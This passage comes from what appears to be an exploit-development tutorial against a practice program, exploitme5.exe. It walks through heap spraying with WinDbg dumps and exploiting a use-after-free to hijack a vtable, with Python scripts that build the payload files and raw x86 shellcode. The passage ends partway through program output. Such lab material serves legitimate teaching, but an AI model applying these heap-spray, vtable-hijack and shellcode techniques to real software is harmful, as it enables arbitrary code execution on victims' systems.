Virtual block: 0b630000 - 0b630000 (size 00000000)
Virtual block: 0b730000 - 0b730000 (size 00000000)
Virtual block: 0b830000 - 0b830000 (size 00000000)
Virtual block: 0b930000 - 0b930000 (size 00000000)
Virtual block: 0ba30000 - 0ba30000 (size 00000000)
Virtual block: 0bb30000 - 0bb30000 (size 00000000)
Virtual block: 0bc30000 - 0bc30000 (size 00000000)
Virtual block: 0bd30000 - 0bd30000 (size 00000000)
Virtual block: 0be30000 - 0be30000 (size 00000000)
Virtual block: 0bf30000 - 0bf30000 (size 00000000)
Virtual block: 0c030000 - 0c030000 (size 00000000)
Virtual block: 0c130000 - 0c130000 (size 00000000)
Virtual block: 0c230000 - 0c230000 (size 00000000)
Virtual block: 0c330000 - 0c330000 (size 00000000)
Virtual block: 0c430000 - 0c430000 (size 00000000)
Virtual block: 0c530000 - 0c530000 (size 00000000)
Virtual block: 0c630000 - 0c630000 (size 00000000)
Virtual block: 0c730000 - 0c730000 (size 00000000)
Virtual block: 0c830000 - 0c830000 (size 00000000)
Virtual block: 0c930000 - 0c930000 (size 00000000)
Virtual block: 0ca30000 - 0ca30000 (size 00000000)
Virtual block: 0cb30000 - 0cb30000 (size 00000000)
Virtual block: 0cc30000 - 0cc30000 (size 00000000)
Virtual block: 0cd30000 - 0cd30000 (size 00000000)
Virtual block: 0ce30000 - 0ce30000 (size 00000000)
Virtual block: 0cf30000 - 0cf30000 (size 00000000)
Virtual block: 0d030000 - 0d030000 (size 00000000)
Virtual block: 0d130000 - 0d130000 (size 00000000)
Virtual block: 0d230000 - 0d230000 (size 00000000)
Virtual block: 0d330000 - 0d330000 (size 00000000)
Virtual block: 0d430000 - 0d430000 (size 00000000)
Virtual block: 0d530000 - 0d530000 (size 00000000)
Virtual block: 0d630000 - 0d630000 (size 00000000)
Virtual block: 0d730000 - 0d730000 (size 00000000)
Virtual block: 0d830000 - 0d830000 (size 00000000)
Virtual block: 0d930000 - 0d930000 (size 00000000)
Virtual block: 0da30000 - 0da30000 (size 00000000)
Virtual block: 0db30000 - 0db30000 (size 00000000)
Virtual block: 0dc30000 - 0dc30000 (size 00000000)
Virtual block: 0dd30000 - 0dd30000 (size 00000000)
Virtual block: 0de30000 - 0de30000 (size 00000000)
Virtual block: 0df30000 - 0df30000 (size 00000000)
Virtual block: 0e030000 - 0e030000 (size 00000000)
Virtual block: 0e130000 - 0e130000 (size 00000000)
Virtual block: 0e230000 - 0e230000 (size 00000000)
Virtual block: 0e330000 - 0e330000 (size 00000000)
Virtual block: 0e430000 - 0e430000 (size 00000000)
Virtual block: 0e530000 - 0e530000 (size 00000000)
Virtual block: 0e630000 - 0e630000 (size 00000000)
Virtual block: 0e730000 - 0e730000 (size 00000000)
Virtual block: 0e830000 - 0e830000 (size 00000000)
Virtual block: 0e930000 - 0e930000 (size 00000000)
Virtual block: 0ea30000 - 0ea30000 (size 00000000)
006b0000 40000062    1024    188   1024     93     9     1  201      0      
003b0000 40001062      64     12     64      2     2     1    0      0      
00ad0000 40001062    1088    160   1088     68     5     2    0      0      
002d0000 40001062     256      4    256      2     1     1    0      0      
-----------------------------------------------------------------------------

Perfect! Now the size of the junk data is just 0x30 bytes. You can verify that 0x30 is the minimum. If you try with 0x2f, it won’t work.

Let’s restart exploitme5.exe and redo it again. This time WinDbg prints the following:

0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x38c66846
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast
                    (k)     (k)    (k)     (k) length      blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 02070000 - 02070000 (size 00000000)
Virtual block: 02270000 - 02270000 (size 00000000)
Virtual block: 02370000 - 02370000 (size 00000000)
Virtual block: 02470000 - 02470000 (size 00000000)
Virtual block: 02570000 - 02570000 (size 00000000)
Virtual block: 02670000 - 02670000 (size 00000000)
Virtual block: 02770000 - 02770000 (size 00000000)
Virtual block: 02870000 - 02870000 (size 00000000)
Virtual block: 02970000 - 02970000 (size 00000000)
Virtual block: 02a70000 - 02a70000 (size 00000000)
Virtual block: 02b70000 - 02b70000 (size 00000000)
Virtual block: 02c70000 - 02c70000 (size 00000000)
Virtual block: 02d70000 - 02d70000 (size 00000000)
Virtual block: 02e70000 - 02e70000 (size 00000000)
Virtual block: 02f70000 - 02f70000 (size 00000000)
Virtual block: 03070000 - 03070000 (size 00000000)
Virtual block: 03170000 - 03170000 (size 00000000)
Virtual block: 03270000 - 03270000 (size 00000000)
Virtual block: 03370000 - 03370000 (size 00000000)
Virtual block: 03470000 - 03470000 (size 00000000)
Virtual block: 03570000 - 03570000 (size 00000000)
Virtual block: 03670000 - 03670000 (size 00000000)
Virtual block: 03770000 - 03770000 (size 00000000)
Virtual block: 03870000 - 03870000 (size 00000000)
Virtual block: 03970000 - 03970000 (size 00000000)
Virtual block: 03a70000 - 03a70000 (size 00000000)
Virtual block: 03b70000 - 03b70000 (size 00000000)
Virtual block: 03c70000 - 03c70000 (size 00000000)
Virtual block: 03d70000 - 03d70000 (size 00000000)
Virtual block: 03e70000 - 03e70000 (size 00000000)
Virtual block: 03f70000 - 03f70000 (size 00000000)
Virtual block: 04070000 - 04070000 (size 00000000)
Virtual block: 04170000 - 04170000 (size 00000000)
Virtual block: 04270000 - 04270000 (size 00000000)
Virtual block: 04370000 - 04370000 (size 00000000)
Virtual block: 04470000 - 04470000 (size 00000000)
Virtual block: 04570000 - 04570000 (size 00000000)
Virtual block: 04670000 - 04670000 (size 00000000)
Virtual block: 04770000 - 04770000 (size 00000000)
Virtual block: 04870000 - 04870000 (size 00000000)
Virtual block: 04970000 - 04970000 (size 00000000)
Virtual block: 04a70000 - 04a70000 (size 00000000)
Virtual block: 04b70000 - 04b70000 (size 00000000)
Virtual block: 04c70000 - 04c70000 (size 00000000)
Virtual block: 04d70000 - 04d70000 (size 00000000)
Virtual block: 04e70000 - 04e70000 (size 00000000)
Virtual block: 04f70000 - 04f70000 (size 00000000)
Virtual block: 05070000 - 05070000 (size 00000000)
Virtual block: 05170000 - 05170000 (size 00000000)
Virtual block: 05270000 - 05270000 (size 00000000)
Virtual block: 05370000 - 05370000 (size 00000000)
Virtual block: 05470000 - 05470000 (size 00000000)
Virtual block: 05570000 - 05570000 (size 00000000)
Virtual block: 05670000 - 05670000 (size 00000000)
Virtual block: 05770000 - 05770000 (size 00000000)
Virtual block: 05870000 - 05870000 (size 00000000)
Virtual block: 05970000 - 05970000 (size 00000000)
Virtual block: 05a70000 - 05a70000 (size 00000000)
Virtual block: 05b70000 - 05b70000 (size 00000000)
Virtual block: 05c70000 - 05c70000 (size 00000000)
Virtual block: 05d70000 - 05d70000 (size 00000000)
Virtual block: 05e70000 - 05e70000 (size 00000000)
Virtual block: 05f70000 - 05f70000 (size 00000000)
Virtual block: 06070000 - 06070000 (size 00000000)
Virtual block: 06170000 - 06170000 (size 00000000)
Virtual block: 06270000 - 06270000 (size 00000000)
Virtual block: 06370000 - 06370000 (size 00000000)
Virtual block: 06470000 - 06470000 (size 00000000)
Virtual block: 06570000 - 06570000 (size 00000000)
Virtual block: 06670000 - 06670000 (size 00000000)
Virtual block: 06770000 - 06770000 (size 00000000)
Virtual block: 06870000 - 06870000 (size 00000000)
Virtual block: 06970000 - 06970000 (size 00000000)
Virtual block: 06a70000 - 06a70000 (size 00000000)
Virtual block: 06b70000 - 06b70000 (size 00000000)
Virtual block: 06c70000 - 06c70000 (size 00000000)
Virtual block: 06d70000 - 06d70000 (size 00000000)
Virtual block: 06e70000 - 06e70000 (size 00000000)
Virtual block: 06f70000 - 06f70000 (size 00000000)
Virtual block: 07070000 - 07070000 (size 00000000)
Virtual block: 07170000 - 07170000 (size 00000000)
Virtual block: 07270000 - 07270000 (size 00000000)
Virtual block: 07370000 - 07370000 (size 00000000)
Virtual block: 07470000 - 07470000 (size 00000000)
Virtual block: 07570000 - 07570000 (size 00000000)
Virtual block: 07670000 - 07670000 (size 00000000)
Virtual block: 07770000 - 07770000 (size 00000000)
Virtual block: 07870000 - 07870000 (size 00000000)
Virtual block: 07970000 - 07970000 (size 00000000)
Virtual block: 07a70000 - 07a70000 (size 00000000)
Virtual block: 07b70000 - 07b70000 (size 00000000)
Virtual block: 07c70000 - 07c70000 (size 00000000)
Virtual block: 07d70000 - 07d70000 (size 00000000)
Virtual block: 07e70000 - 07e70000 (size 00000000)
Virtual block: 07f70000 - 07f70000 (size 00000000)
Virtual block: 08070000 - 08070000 (size 00000000)
Virtual block: 08170000 - 08170000 (size 00000000)
Virtual block: 08270000 - 08270000 (size 00000000)
Virtual block: 08370000 - 08370000 (size 00000000)
Virtual block: 08470000 - 08470000 (size 00000000)
Virtual block: 08570000 - 08570000 (size 00000000)
Virtual block: 08670000 - 08670000 (size 00000000)
Virtual block: 08770000 - 08770000 (size 00000000)
Virtual block: 08870000 - 08870000 (size 00000000)
Virtual block: 08970000 - 08970000 (size 00000000)
Virtual block: 08a70000 - 08a70000 (size 00000000)
Virtual block: 08b70000 - 08b70000 (size 00000000)
Virtual block: 08c70000 - 08c70000 (size 00000000)
Virtual block: 08d70000 - 08d70000 (size 00000000)
Virtual block: 08e70000 - 08e70000 (size 00000000)
Virtual block: 08f70000 - 08f70000 (size 00000000)
Virtual block: 09070000 - 09070000 (size 00000000)
Virtual block: 09170000 - 09170000 (size 00000000)
Virtual block: 09270000 - 09270000 (size 00000000)
Virtual block: 09370000 - 09370000 (size 00000000)
Virtual block: 09470000 - 09470000 (size 00000000)
Virtual block: 09570000 - 09570000 (size 00000000)
Virtual block: 09670000 - 09670000 (size 00000000)
Virtual block: 09770000 - 09770000 (size 00000000)
Virtual block: 09870000 - 09870000 (size 00000000)
Virtual block: 09970000 - 09970000 (size 00000000)
Virtual block: 09a70000 - 09a70000 (size 00000000)
Virtual block: 09b70000 - 09b70000 (size 00000000)
Virtual block: 09c70000 - 09c70000 (size 00000000)
Virtual block: 09d70000 - 09d70000 (size 00000000)
Virtual block: 09e70000 - 09e70000 (size 00000000)
Virtual block: 09f70000 - 09f70000 (size 00000000)
Virtual block: 0a070000 - 0a070000 (size 00000000)
Virtual block: 0a170000 - 0a170000 (size 00000000)
Virtual block: 0a270000 - 0a270000 (size 00000000)
Virtual block: 0a370000 - 0a370000 (size 00000000)
Virtual block: 0a470000 - 0a470000 (size 00000000)
Virtual block: 0a570000 - 0a570000 (size 00000000)
Virtual block: 0a670000 - 0a670000 (size 00000000)
Virtual block: 0a770000 - 0a770000 (size 00000000)
Virtual block: 0a870000 - 0a870000 (size 00000000)
Virtual block: 0a970000 - 0a970000 (size 00000000)
Virtual block: 0aa70000 - 0aa70000 (size 00000000)
Virtual block: 0ab70000 - 0ab70000 (size 00000000)
Virtual block: 0ac70000 - 0ac70000 (size 00000000)
Virtual block: 0ad70000 - 0ad70000 (size 00000000)
Virtual block: 0ae70000 - 0ae70000 (size 00000000)
Virtual block: 0af70000 - 0af70000 (size 00000000)
Virtual block: 0b070000 - 0b070000 (size 00000000)
Virtual block: 0b170000 - 0b170000 (size 00000000)
Virtual block: 0b270000 - 0b270000 (size 00000000)
Virtual block: 0b370000 - 0b370000 (size 00000000)
Virtual block: 0b470000 - 0b470000 (size 00000000)
Virtual block: 0b570000 - 0b570000 (size 00000000)
Virtual block: 0b670000 - 0b670000 (size 00000000)
Virtual block: 0b770000 - 0b770000 (size 00000000)
Virtual block: 0b870000 - 0b870000 (size 00000000)
Virtual block: 0b970000 - 0b970000 (size 00000000)
Virtual block: 0ba70000 - 0ba70000 (size 00000000)
Virtual block: 0bb70000 - 0bb70000 (size 00000000)
Virtual block: 0bc70000 - 0bc70000 (size 00000000)
Virtual block: 0bd70000 - 0bd70000 (size 00000000)
Virtual block: 0be70000 - 0be70000 (size 00000000)
Virtual block: 0bf70000 - 0bf70000 (size 00000000)
Virtual block: 0c070000 - 0c070000 (size 00000000)
Virtual block: 0c170000 - 0c170000 (size 00000000)
Virtual block: 0c270000 - 0c270000 (size 00000000)
Virtual block: 0c370000 - 0c370000 (size 00000000)
Virtual block: 0c470000 - 0c470000 (size 00000000)
Virtual block: 0c570000 - 0c570000 (size 00000000)
Virtual block: 0c670000 - 0c670000 (size 00000000)
Virtual block: 0c770000 - 0c770000 (size 00000000)
Virtual block: 0c870000 - 0c870000 (size 00000000)
Virtual block: 0c970000 - 0c970000 (size 00000000)
Virtual block: 0ca70000 - 0ca70000 (size 00000000)
Virtual block: 0cb70000 - 0cb70000 (size 00000000)
Virtual block: 0cc70000 - 0cc70000 (size 00000000)
Virtual block: 0cd70000 - 0cd70000 (size 00000000)
Virtual block: 0ce70000 - 0ce70000 (size 00000000)
Virtual block: 0cf70000 - 0cf70000 (size 00000000)
Virtual block: 0d070000 - 0d070000 (size 00000000)
Virtual block: 0d170000 - 0d170000 (size 00000000)
Virtual block: 0d270000 - 0d270000 (size 00000000)
Virtual block: 0d370000 - 0d370000 (size 00000000)
Virtual block: 0d470000 - 0d470000 (size 00000000)
Virtual block: 0d570000 - 0d570000 (size 00000000)
Virtual block: 0d670000 - 0d670000 (size 00000000)
Virtual block: 0d770000 - 0d770000 (size 00000000)
Virtual block: 0d870000 - 0d870000 (size 00000000)
Virtual block: 0d970000 - 0d970000 (size 00000000)
Virtual block: 0da70000 - 0da70000 (size 00000000)
Virtual block: 0db70000 - 0db70000 (size 00000000)
Virtual block: 0dc70000 - 0dc70000 (size 00000000)
Virtual block: 0dd70000 - 0dd70000 (size 00000000)
Virtual block: 0de70000 - 0de70000 (size 00000000)
Virtual block: 0df70000 - 0df70000 (size 00000000)
Virtual block: 0e070000 - 0e070000 (size 00000000)
Virtual block: 0e170000 - 0e170000 (size 00000000)
Virtual block: 0e270000 - 0e270000 (size 00000000)
Virtual block: 0e370000 - 0e370000 (size 00000000)
Virtual block: 0e470000 - 0e470000 (size 00000000)
Virtual block: 0e570000 - 0e570000 (size 00000000)
Virtual block: 0e670000 - 0e670000 (size 00000000)
Virtual block: 0e770000 - 0e770000 (size 00000000)
Virtual block: 0e870000 - 0e870000 (size 00000000)
Virtual block: 0e970000 - 0e970000 (size 00000000)
002d0000 40000062    1024    188   1024     93     9     1  201      0      
00190000 40001062      64     12     64      2     2     1    0      0      
01d50000 40001062    1088    160   1088     68     5     2    0      0      
01d00000 40001062     256      4    256      2     1     1    0      0      
-----------------------------------------------------------------------------

This time the addresses are different. Let’s compare the last four:

Virtual block: 0e730000 - 0e730000 (size 00000000)
Virtual block: 0e830000 - 0e830000 (size 00000000)
Virtual block: 0e930000 - 0e930000 (size 00000000)
Virtual block: 0ea30000 - 0ea30000 (size 00000000)
--------------
Virtual block: 0e670000 - 0e670000 (size 00000000)
Virtual block: 0e770000 - 0e770000 (size 00000000)
Virtual block: 0e870000 - 0e870000 (size 00000000)
Virtual block: 0e970000 - 0e970000 (size 00000000)

What we note, though, is that they are always aligned on 0x10000 boundaries. Now remember that we must add 0x20 to those addresses because of the header:

block 197: address = 0x0e670020; size = 1048528
block 198: address = 0x0e770020; size = 1048528
block 199: address = 0x0e870020; size = 1048528
block 200: address = 0x0e970020; size = 1048528

If we pad our payload so that its size is 0x10000 and we repeat it throughout our entire block of 1 MB (-0x30 bytes), then we will certainly find our payload at, for example, the address 0x0a000020. We chose the address 0x0a000020 because it’s in the middle of our heap spray so, even if the addresses vary a little bit, it will certainly contain our payload.

Let’s try to do just that:

with open(r'd:\buf.dat', 'wb') as f:
    payload = 'a'*0x8000 + 'b'*0x8000      # 0x8000 + 0x8000 = 0x10000
    block_size = 0x100000-0x30
    block = payload*(block_size/len(payload)) + payload[:block_size % len(payload)]
    f.write(block)

Note that since the size of our block is 0x30 bytes shorter than 1 MB, the last copy of our payload needs to be truncated. This is not a problem, of course.

Now let’s restart exploitme5.exe in WinDbg, run it, read the block from file, make 200 copies of it, break the execution, and, finally, inspect the memory at 0x0a000020:

09ffffd0  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
09ffffe0  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
09fffff0  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
0a000000  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
0a000010  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
0a000020  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa   <================ start
0a000030  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0a000040  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0a000050  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0a000060  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa

As we can see, a copy of our payload starts exactly at 0xa000020, just as we expected. Now we must put it all together and finally exploit exploitme5.exe.

The actual exploitation

We saw that there is a UAF bug in configureMutator(). We can use this function to create a dangling pointer, mutators[0]. By reading a block of 168 bytes (the size of Multiplier) from file, we can make the dangling pointer point to data we control. In particular, the first DWORD of this data will contain the value 0x0a000020, which is the address where we’ll put the VFTable for taking control of the execution flow.

Let’s have a look at mutateBlock():

void mutateBlock() {
    listBlocks();
    while (true) {
        printf("Index of block to mutate (-1 to exit): ");
        int index;
        scanf_s("%d", &index);
        fflush(stdin);
        if (index == -1)
            break;
        if (index < 0 || index >= (int)blocks.size()) {
            printf("Wrong index!\n");
        }
        else {
            while (true) {
                printf(
                    "1) Multiplier\n"
                    "2) LowerCaser\n"
                    "3) Exit\n"
                    "Your choice [1-3]: ");
                int choice = _getch();
                printf("\n\n");
                if (choice == '3')
                    break;
                if (choice >= '1' && choice <= '3') {
                    choice -= '0';
                    mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());
                    printf("The block was mutated.\n\n");
                    break;
                }
                else
                    printf("Wrong choice!\n\n");
            }
            break;
        }
    }
}

The interesting line is the following:

mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());

By choosing Multiplier, choice will be 1, so that line will evaluate to

mutators[0]->mutate(...);

The method mutate is the second virtual method in the VFTable of the Multiplier. Therefore, at the address 0x0a000020 we’ll put a VFTable with this form:

0x0a000020:    whatever
0x0a000024:   0x0a000028

When mutate is called, the execution will jump to the code at the address 0x0a000028, exactly where our shellcode will reside.

We know that we can spray the heap so that our payload lands at the address 0x0a000020. Here’s the payload we’ll be using:
Image may be NSFW.
Clik here to view.
pic_a8

Here’s the complete schema:
Image may be NSFW.
Clik here to view.
pic_a9

First let’s create d:\obj.dat:

import struct
with open(r'd:\obj.dat', 'wb') as f:
    vftable_ptr = struct.pack('<I', 0x0a000020)
    f.write(vftable_ptr + 'a'*164)

Then let’s create d:\buf.dat:

import struct
with open(r'd:\buf.dat', 'wb') as f:
    shellcode = (
        "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
        "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
        "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
        "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
        "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
        "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
        "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
        "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
        "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
        "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
        "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
        "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
        "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
        "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
        "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
        "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
        "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
        "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
        "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
        "\x30\x03\xc6\xeb\xdd")
    vftable = "aaaa" + struct.pack('<I', 0x0a000028)        # second virtual function
    code = vftable + shellcode + 'a'*(0x10000 - len(shellcode) - len(vftable))
    block_size = 0x100000-0x30
    block = code*(block_size/len(code)) + code[:block_size % len(code)]
    f.write(block)

Now we need to run exploitme5.exe (we don’t need WinDbg) and do the following:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\obj.dat

Block read (168 bytes)

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 4

1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit

Your choice [1-3]: 1

mutators[0] = 0x003dc488        <====================
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 3

------- Blocks -------
block 0: address = 0x003dc538; size = 168
----------------------

Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 1
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 2

------- Blocks -------
block 0: address = 0x003dc538; size = 168
block 1: address = 0x003dc488; size = 168       <====================
----------------------

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\buf.dat

Block read (1048528 bytes)     <==================== 1 MB

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 3

------- Blocks -------
block 0: address = 0x003dc538; size = 168
block 1: address = 0x003dc488; size = 168
block 2: address = 0x00c60020; size = 1048528
----------------------

Index of block to duplicate (-1 to exit): 2
Number of copies (-1 to exit): 200     <==================== 200 x 1 MB = 200 MB
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 5

------- Blocks -------
block 0: address = 0x003dc538; size = 168
block 1: address = 0x003dc488; size = 168
block 2: address = 0x00c60020; size = 1048528
block 3: address = 0x00e60020; size = 1048528
block 4: address = 0x00f60020; size = 1048528
block 5: address = 0x02480020; size = 1048528
block 6: address = 0x02580020; size = 1048528
block 7: address = 0x02680020; size = 1048528
block 8: address = 0x02780020; size = 1048528
block 9: address = 0x02880020; size = 1048528
block 10: address = 0x02980020; size = 1048528
block 11: address = 0x02a80020; size = 1048528
block 12: address = 0x02b80020; size = 1048528
block 13: address = 0x02c80020; size = 1048528
block 14: address = 0x02d80020; size = 1048528
block 15: address = 0x02e80020; size = 1048528
block 16: address = 0x02f80020; size = 1048528
block 17: address = 0x03080020; size = 1048528
block 18: address = 0x03180020; size = 1048528
block 19: address = 0x03280020; size = 1048528
block 20: address = 0x03380020; size = 1048528
block 21: address = 0x03480020; size = 1048528
block 22: address = 0x03580020; size = 1048528
block 23: address = 0x03680020; size = 1048528
block 24: address = 0x03780020; size = 1048528
block 25: address = 0x03880020; size = 1048528
block 26: address = 0x03980020; size = 1048528
block 27: address = 0x03a80020; size = 1048528
block 28: address = 0x03b80020; size = 1048528
block 29: address = 0x03c80020; size = 1048528
block 30: address = 0x03d80020; size = 1048528
block 31: address = 0x03e80020; size = 1048528
block 32: address = 0x03f80020; size = 1048528
block 33: address = 0x04080020; size = 1048528
block 34: address = 0x04180020; size = 1048528
block 35: address = 0x04280020; size = 1048528
block 36: address = 0x04380020; size = 1048528
block 37: address = 0x04480020; size = 1048528
block 38: address = 0x04580020; size = 1048528
block 39: address = 0x04680020; size = 1048528
block 40: address = 0x04780020; size = 1048528
block 41: address = 0x04880020; size = 1048528
block 42: address = 0x04980020; size = 1048528
block 43: address = 0x04a80020; size = 1048528
block 44: address = 0x04b80020; size = 1048528
block 45: address = 0x04c80020; size = 1048528
block 46: address = 0x04d80020; size = 1048528
block 47: address = 0x04e80020; size = 1048528
block 48: address = 0x04f80020; size = 1048528
block 49: address = 0x05080020; size = 1048528
block 50: address = 0x05180020; size = 1048528
block 51: address = 0x05280020; size = 1048528
block 52: address = 0x05380020; size = 1048528
block 53: address = 0x05480020; size = 1048528
block 54: address = 0x05580020; size = 1048528
block 55: address = 0x05680020; size = 1048528
block 56: address = 0x05780020; size = 1048528
block 57: address = 0x05880020; size = 1048528
block 58: address = 0x05980020; size = 1048528
block 59: address = 0x05a80020; size = 1048528
block 60: address = 0x05b80020; size = 1048528
block 61: address = 0x05c80020; size = 1048528
block 62: address = 0x05d80020; size = 1048528
block 63: address = 0x05e80020; size = 1048528
block 64: address = 0x05f80020; size = 1048528
block 65: address = 0x06080020; size = 1048528
block 66: address = 0x06180020; size = 1048528
block 67: address = 0x06280020; size = 1048528
block 68: address = 0x06380020; size = 1048528
block 69: address = 0x06480020; size = 1048528
block 70: address = 0x06580020; size = 1048528
block 71: address = 0x06680020; size = 1048528
block 72: address = 0x06780020; size = 1048528
block 73: address = 0x06880020; size = 1048528
block 74: address = 0x06980020; size = 1048528
block 75: address = 0x06a80020; size = 1048528
block 76: address = 0x06b80020; size = 1048528
block 77: address = 0x06c80020; size = 1048528
block 78: address = 0x06d80020; size = 1048528
block 79: address = 0x06e80020; size = 1048528
block 80: address = 0x06f80020; size = 1048528
block 81: address = 0x07080020; size = 1048528
block 82: address = 0x07180020; size = 1048528
block 83: address = 0x07280020; size = 1048528
block 84: address = 0x07380020; size = 1048528
block 85: address = 0x07480020; size = 1048528
block 86: address = 0x07580020; size = 1048528
block 87: address = 0x07680020; size = 1048528
block 88: address = 0x07780020; size = 1048528
block 89: address = 0x07880020; size = 1048528
block 90: address = 0x07980020; size = 1048528
block 91: address = 0x07a80020; size = 1048528
block 92: address = 0x07b80020; size = 1048528
block 93: address = 0x07c80020; size = 1048528
block 94: address = 0x07d80020; size = 1048528
block 95: address = 0x07e80020; size = 1048528
block 96: address = 0x07f80020; size = 1048528
block 97: address = 0x08080020; size = 1048528
block 98: address = 0x08180020; size = 1048528
block 99: address = 0x08280020; size = 1048528
block 100: address = 0x08380020; size = 1048528
block 101: address = 0x08480020; size = 1048528
block 102: address = 0x08580020; size = 1048528
block 103: address = 0x08680020; size = 1048528
block 104: address = 0x08780020; size = 1048528
block 105: address = 0x08880020; size = 1048528
block 106: address = 0x08980020; size = 1048528
block 107: address = 0x08a80020; size = 1048528
block 108: address = 0x08b80020; size = 1048528
block 109: address = 0x08c80020; size = 1048528
block 110: address = 0x08d80020; size = 1048528
block 111: address = 0x08e80020; size = 1048528
block 112: address = 0x08f80020; size = 1048528
block 113: address = 0x09080020; size = 1048528
block 114: address = 0x09180020; size = 1048528
block 115: address = 0x09280020; size = 1048528
block 116: address = 0x09380020; size = 1048528
block 117: address = 0x09480020; size = 1048528
block 118: address = 0x09580020; size = 1048528
block 119: address = 0x09680020; size = 1048528
block 120: address = 0x09780020; size = 1048528
block 121: address = 0x09880020; size = 1048528
block 122: address = 0x09980020; size = 1048528
block 123: address = 0x09a80020; size = 1048528
block 124: address = 0x09b80020; size = 1048528
block 125: address = 0x09c80020; size = 1048528
block 126: address = 0x09d80020; size = 1048528
block 127: address = 0x09e80020; size = 1048528
block 128: address = 0x09f80020; size = 1048528
block 129: address = 0x0a080020; size = 1048528
block 130: address = 0x0a180020; size = 1048528
block 131: address = 0x0a280020; size = 1048528
block 132: address = 0x0a380020; size = 1048528
block 133: address = 0x0a480020; size = 1048528
block 134: address = 0x0a580020; size = 1048528
block 135: address = 0x0a680020; size = 1048528
block 136: address = 0x0a780020; size = 1048528
block 137: address = 0x0a880020; size = 1048528
block 138: address = 0x0a980020; size = 1048528
block 139: address = 0x0aa80020; size = 1048528
block 140: address = 0x0ab80020; size = 1048528
block 141: address = 0x0ac80020; size = 1048528
block 142: address = 0x0ad80020; size = 1048528
block 143: address = 0x0ae80020; size = 1048528
block 144: address = 0x0af80020; size = 1048528
block 145: address = 0x0b080020; size = 1048528
block 146: address = 0x0b180020; size = 1048528
block 147: address = 0x0b280020; size = 1048528
block 148: address = 0x0b380020; size = 1048528
block 149: address = 0x0b480020; size = 1048528
block 150: address = 0x0b580020; size = 1048528
block 151: address = 0x0b680020; size = 1048528
block 152: address = 0x0b780020; size = 1048528
block 153: address = 0x0b880020; size = 1048528
block 154: address = 0x0b980020; size = 1048528
block 155: address = 0x0ba80020; size = 1048528
